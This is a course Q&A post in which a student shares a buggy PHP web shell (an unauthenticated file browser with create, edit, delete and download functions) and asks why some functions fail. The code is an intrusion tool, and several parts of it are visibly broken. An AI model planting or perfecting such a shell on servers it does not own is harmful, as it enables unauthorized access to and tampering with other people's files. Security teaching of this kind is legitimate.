inflearn logo
강의

Khóa học

Chia sẻ kiến thức

Nâng cao kỹ năng! Tạo một web shell mà bạn có thể tìm hiểu và sử dụng ngay lập tức

파일, 폴더 삭제, 파일다운로드, 파일 수정이 안됩니다.

339

spacepig

5 câu hỏi đã được viết

1

#원래 수정은 됬었어요
<?
    header("Content-Type:text/html;charset=UTF-8");
    $mode = $_REQUEST["mode"];
    $path = $_REQUEST["path"];
    $page = basename($_SERVER["PHP_SELF"]);
    $fileName = $_GET["fileName"];

    if(empty($path)){
        $tempFileName = basename(__FILE__);
        $tempPath = realpath(__FILE__);
        $path = str_replace($tempFileName, "", $tempPath);
        $path = str_replace("\\", "/", $path);
    } else {
        $path= realpath($path)."/";
        $path = str_replace("\\", "/", $path);
    }

    #Mode Logic
    if($mode == "fileCreate") {
        if(empty($fileName)){
            echo "<script>alert('Empty File Name.');history.back(-1);</script>";
            exit();
        }
        $fp = fopen($path.$fileName, "w");
        fclose($fp);
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";

    } else if ($mode == "dirCreate") {
        if(empty($fileName)){
            echo "<script>alert('Empty Directory Name.');history.back(-1);</script>";
            exit();
        }

        $dirPath = $path.$fileName;
        if(is_dir($dirPath)) {
            echo "<script>alert('Directory Already Exist.');history.back(-1);</script>";
            exit();

        }

        mkdir($dirPath);
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
    }else if ($mode == "fileModify" && !empty($_POST["fileContents"])) {
        $filePath = $path.$fileName;
        if(!file_exists(($filePath))) {
            echo "<script>alert('No File.');history.back(-1);</script>";
            exit();
        }

        $fileContents = $_POST["fileContents"];
        $fp = fopen($filePath, "w");
        fputs($fp, $fileContents, strlen($fileContents));
        fclose($fp);
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";


    } else if ($mode == "fileDelete") {
        if(empty($fileName)){
            echo "<script>alert('Empty file name');history.back(-1);</script>";
            exit();
        }

        $filePath = $path.$fileName;
        if(!file_exists(($filePath))) {
            echo "<script>alert('No File.');history.back(-1);</script>";
            exit();
        }
        if(!unlink($filePath)){
            echo "<script>alert('Fail To Delete File');history.back(-1);</script>";
            exit();
        }
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
    
#######################################################################
    } else if ($mode == "dirDelete") {
        if(empty($fileName)) {
            echo "<script>alert('No File.');history.back(-1);;</script>";
            exit();
        }

        $dirPath = $path.$fileName;
        if(!is_dir($dirPath)) {
            echo "<script>alert('No Directory.');history.back(-1);</script>";
        }

        if(!rmdir($dirPath)) {
            echo "<script>alert('Fail To Delete Directory');history.back(-1);</script>";
            exit();
        }
        echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";

    } else if ($mode == "fileDownload") {
        if(empty($fileName)) {
            echo "<script>alert('No File.');history.back(-1);;</script>";
            exit();
        }

        $filePath = $path.$fileName;
        if(!file_exists(($filePath))) {
            echo "<script>alert('No File.');history.back(-1);</script>";
            exit();
        }

        header("Content-Type:application/octet-stream");
        header("Content-Disposition:attachment; fileName=\"{$fileName}\"");
        header("Content-Transfer-Encoding:binary");
        
        readfile($filePath);
        exit();
    }
    #Dir list return function
    function getDirList($getPath) {
        $listArr = array();
        $handler = opendir($getPath);
        while($file = readdir()) {
            if(is_dir($getPath.$file) == "1") {
                $listArr[] = $file;
            }

        }
    closedir($handler);
    return $listArr;

    }

    #File List Return Function
    function getFileList($getPath) {
        $listArr = array();
        $handler = opendir($getPath);
        while($file = readdir()) {
            if(is_dir($getPath.$file) != "1") {
                $listArr[] = $file;
            }

        }
    closedir($handler);
    return $listArr;

    }


?>
<!DOCTYPE html>
<html lang="ko">    
    <head>
        <title>SP WEBSHELL1.0.1</title>
    <!-- 합쳐지고 최소화된 최신 CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
    <!-- 부가적인 테마 -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css">
    <!-- 합쳐지고 최소화된 최신 자바스크립트 -->
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
    <script>
        function fileCreate() {
            var fileName = frm.createFileName.value;
            if(!fileName){
                alert("Please Input File Name.");
                return;
            }
            location.href = "<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName=" + fileName;
        }
        function dirCreate() {
            var fileName = frm.createFileName.value;
            if(!fileName){
                alert("Please Input Directory Name.");
                return;
            }
            location.href = "<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName=" + fileName;
        }
    
        function fileModify(fileName) {
            location.href = "<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=" + fileName;
        
        function dirDelete(fileName) {
            if(confirm("Will you delete this directory? :" + fileName) == true){
                location.href = "<?=$page?>?mode=dirDelete&path=<?=$path?>&fileName=" + fileName;
            }
        }

        function fileDelete(fileName) {
            if(confirm("Will you delete this file? :" + fileName) == true){
                location.href = "<?=$page?>?mode=fileDelete&path=<?=$path?>&fileName=" + fileName;
            }
        }

        }
        
        function fileDownload(fileName) {
            location.href = "<?=$page?>?mode=fileDownload&path=<?=$path?>&fileName=" + fileName;
    </script>
    </head>

    <body>
    <div class="container-fluid">
        <div class="row">
        <div class="col-md-3"></div>
        <div class="col-md-6">
            <h3>SP WEBSHELL ver 1.0.3</h3>
            <hr>
            <ul class="nav nav-tabs">
            <li role="presentation" <? if(empty($mode) || $mode == "fileBrowser") echo "class=\active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li>
            <li role="presentation"><a href="<?=$page?>?mode=fileUpload">File Upload</a></li>
            <li role="presentation" <? if($mode == "fileUpload") echo "class=\active\"";?>><a href="<?=$page?>?mode=command">Command Excution</a></li>
            <li role="presentation" <? if($mode == "logout") echo "class=\active\"";?>><a href="<?=$page?>?mode=logout">Logout</a></li>
            </ul>
            <br>
            <? if(empty($mode) || $mode == "fileBrowser") { ?>
            <form action="<?=$page?>?mode=fileBrowser" method="GET">
                <div class="input-group">
                <span class="input-group-addon">Current Path</span>
                <input type="text" class="form-control" placeholder="Path_Input" name="path" value="<?=$path?>">
                <span class="input-group-btn">
                    <button class="btn btn-default" type="submit">Move</button>
                </span>
            </div>
            </form>
            <hr>
            <div class="table-responsive">
            <table class="table table-bordered table-hover"style="table-layout: fixed; word-break: break-all;">
                <thead>
                    <tr class="active">
                        <th style="width: 50%"class="text-center">Name</th>    
                        <th style="width: 14%" class="text-center">Type</th> 
                        <th style="width: 18%" class="text-center">Date</th> 
                        <th style="width: 18%" class="text-center">Action</th>  
                    </tr>
                </thead>
                <tbody>
                    <?
                    $dirList = getDirList($path);
                    for($i=0; $i<count($dirList); $i++) {
                        if($dirList[$i] !=".") {
                        $dirDate= date("Y-m-d H:i", filemtime($path.$dirList[$i]));
                  ?>
                    <tr>
                        <td style="vertical-align: middle"><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span><b>&nbsp;&nbsp;<a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td>
                        <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td>
                        <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td>
                        <td style="vertical-align: middle" class="text-center">
                        <? if($dirList[$i] !="..") {?>
                        <div class="btn-group btn-group-sm" role="group" aria-label="...">
                        <button type="button" class="btn btn-danger" title="Directory Delete" onclick="dirDelete('<?=$dirList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
                        <? }?>
                        </div>
                        </td>
                    </tr>
                    <?
                        }
                    }
                    ?>

<?
                    $fileList = getFileList($path);
                    for($i=0; $i<count($fileList); $i++) {
                        $fileDate= date("Y-m-d H:i", filemtime($path.$fileList[$i]));
                  ?>
                    <tr>
                        <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td>
                        <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td>
                        <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td>
                        <td style="vertical-align: middle" class="text-center">
                        <div class="btn-group btn-group-sm" role="group" aria-label="...">
                        <button type="button" class="btn btn-info" title="File Download" onclick="fileDownload('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button>
                        <button type="button" class="btn btn-warning" title="File Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button>
                        <button type="button" class="btn btn-danger" title="File Delete" onclick="fileDelete('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button>
                        </div>
                        </td>
                    </tr>
                    <? } ?>
                </tbody>
            </table>
        </div>
        <hr>
        <form name="frm">
            <div class="input-group">
            <input type="text" class="form-control" placeholder="File/Directroy Name Input..." name="createFileName">
            <span class="input-group-btn">
            <button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button>
            <button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button>
            </span>
            </div>
        </form>
        <? } else if($mode == "fileModify") { ?>
        <? 
            if(empty($fileName)) {
                echo"<script>alert('No File.');history.back(-1);</script";
                exit();
            }

            $filePath = $path.$fileName;
            if(!file_exists($filePath)){
                echo"<script>alert('No File.');history.back(-1);</script";
                exit();
            }

            $fp = fopen($filePath, "r");
            $fileContents = fread($fp, filesize($filePath));
            fclose($fp);


        ?>

            <form action="<?=$page?>?mode=fileModify&path=<?$path?>&fileName=<?=$fileName?>" method="POST">
            <div class="input-group">
            <input type="text" class="form-control" value="<?=$path?><?=$fileName?>">
            <span class="input-group-btn">
            <button class="btn btn-default" type="submit">File Modify</button>
            </span>
            </div>
        <textarea class="form-control" rows="20" name="fileContents"><?=htmlspecialchars($fileContents)?></textarea>
        </form>
        <br>
        <p class="text-center"><button class="btn btn-default" type="button" onclick="history.back(-1)">Back</button></p>
        <? } ?>
        <hr>
        <p class="text-muted text-center">Made by SPACEPIG#1747</p>
        <div class="col-md-3"></div>
        </div>
    </div>      
    </body>
</html>

bootstrap 웹셸

Câu trả lời 1

0

crehacktive

메일로 답변 완료~

수강기간을 무제한으로 변경부탁드립니다.

0

71

2

Dockerfile 질문

0

76

2

로그인 오류

0

74

2

services-col mx-2 my-3

0

62

2

수강기간이 무제한이된건가요?

0

113

2

단축키 질문

0

57

1

docker-compose down 안되는 현상

0

182

2

npm run dev-watch 오류

0

78

1

강의 내용을 어느 정도로 파악하고 있는 것이 좋을까요?

1

119

2

Logging 질문

0

126

1

db.json 문제 해결후 조회버튼을 누르면 테이블이 형성이 안됨

0

87

1

cd json-server와 json-server --watch db.json 오류

0

93

1

0.0.0.0:8000 접속이 안됩니다

0

298

2

emmet 에디터 설치 하려고 하는데 안 나오네요

0

154

2

Bitnami WAMP 단종

0

458

1

파일내용 수정이 잘 안됩니다.

0

378

1

안녕하세요 문제가 생겨서 질문드립니다.

1

326

1

fileModify버튼 클릭시 문의

1

316

1

죄송합니다;; 또 에러가 나네요(해결해주세요.)

2

393

3

질문

1

184

1

질문 있어요! 제발 해결해주세요

2

270

1

500 error

1

316

2

질문있습니다~

1

271

2

좋은 강의 감사합니다~

1

302

1